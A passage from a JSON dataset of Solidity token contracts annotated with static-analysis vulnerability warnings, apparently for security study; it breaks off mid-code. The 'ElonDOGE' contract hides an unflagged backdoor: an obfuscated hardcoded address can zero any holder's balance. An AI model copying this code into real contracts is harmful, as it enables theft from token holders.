}\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2532f5b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2532f5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5cfc772): YOUNGPEEZY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5cfc772: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c38aa7c): YOUNGPEEZY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c38aa7c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9358d58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9358d58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2532f5b\n\t\t// reentrancy-eth | ID: 9358d58\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2532f5b\n\t\t// unused-return | ID: c38aa7c\n\t\t// reentrancy-eth | ID: 9358d58\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2532f5b\n\t\t// unused-return | ID: 5cfc772\n\t\t// reentrancy-eth | ID: 9358d58\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2532f5b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9358d58\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2dcd6ab): YOUNGPEEZY.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 2dcd6ab: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 2dcd6ab\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10195.sol",
"size_bytes": 20873,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"ElonDOGE\", unicode\"ElonDOGE\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_10196.sol",
"size_bytes": 7298,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fa2863d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for fa2863d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0f9d1a4): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0f9d1a4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8fd3384): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 8fd3384: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6781d03): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 6781d03: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 31200e9): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 31200e9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 16c9c30): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 16c9c30: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5a3c2da): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5a3c2da: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3a0c29b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 3a0c29b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 77f85c0): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 77f85c0: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: fa2863d\n\t\t\t\t// divide-before-multiply | ID: 0f9d1a4\n\t\t\t\t// divide-before-multiply | ID: 8fd3384\n\t\t\t\t// divide-before-multiply | ID: 6781d03\n\t\t\t\t// divide-before-multiply | ID: 31200e9\n\t\t\t\t// divide-before-multiply | ID: 16c9c30\n\t\t\t\t// divide-before-multiply | ID: 5a3c2da\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 3a0c29b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 31200e9\n\t\t\t// incorrect-exp | ID: 77f85c0\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 16c9c30\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5a3c2da\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 0f9d1a4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: fa2863d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 6781d03\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 8fd3384\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 3a0c29b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint) external view returns (address pair);\n\n function allPairsLength() external view returns (uint);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(\n uint80 _roundId\n )\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\ncontract CURRENTMARKETCAP is Context, IERC20, Ownable {\n mapping(uint256 => string) internal belts;\n\n mapping(uint256 => uint256) internal milestones;\n\n mapping(uint256 => uint256) internal buyTaxGlobal;\n\n mapping(uint256 => uint256) internal sellTaxGlobal;\n\n mapping(address => uint256) internal userBelt;\n\n mapping(address => bool) internal hasBelt;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c039fc): CURRENTMARKETCAP.moneyUnicode should be constant \n\t// Recommendation for 5c039fc: Add the 'constant' attribute to state variables that never change.\n string private moneyUnicode = unicode\"💸\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ff63478): CURRENTMARKETCAP.arrowUnicode should be constant \n\t// Recommendation for ff63478: Add the 'constant' attribute to state variables that never change.\n string private arrowUnicode = unicode\" ➡ \";\n\n string private _name = unicode\"💸Current_Marketcap ➡ 0$\";\n\n string private _symbol = unicode\"💸CM ➡ 0$\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 public constant maxBuyTax = 9;\n\n uint256 public constant maxSellTax = 9;\n\n uint256 private _taxFee = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e144fd8): CURRENTMARKETCAP._developerFund should be immutable \n\t// Recommendation for e144fd8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _developerFund = payable(msg.sender);\n\n\t// WARNING Optimization Issue (immutable-states | ID: fcd6a39): CURRENTMARKETCAP._marketingFund should be immutable \n\t// Recommendation for fcd6a39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingFund = payable(msg.sender);\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IERC20 public constant weth 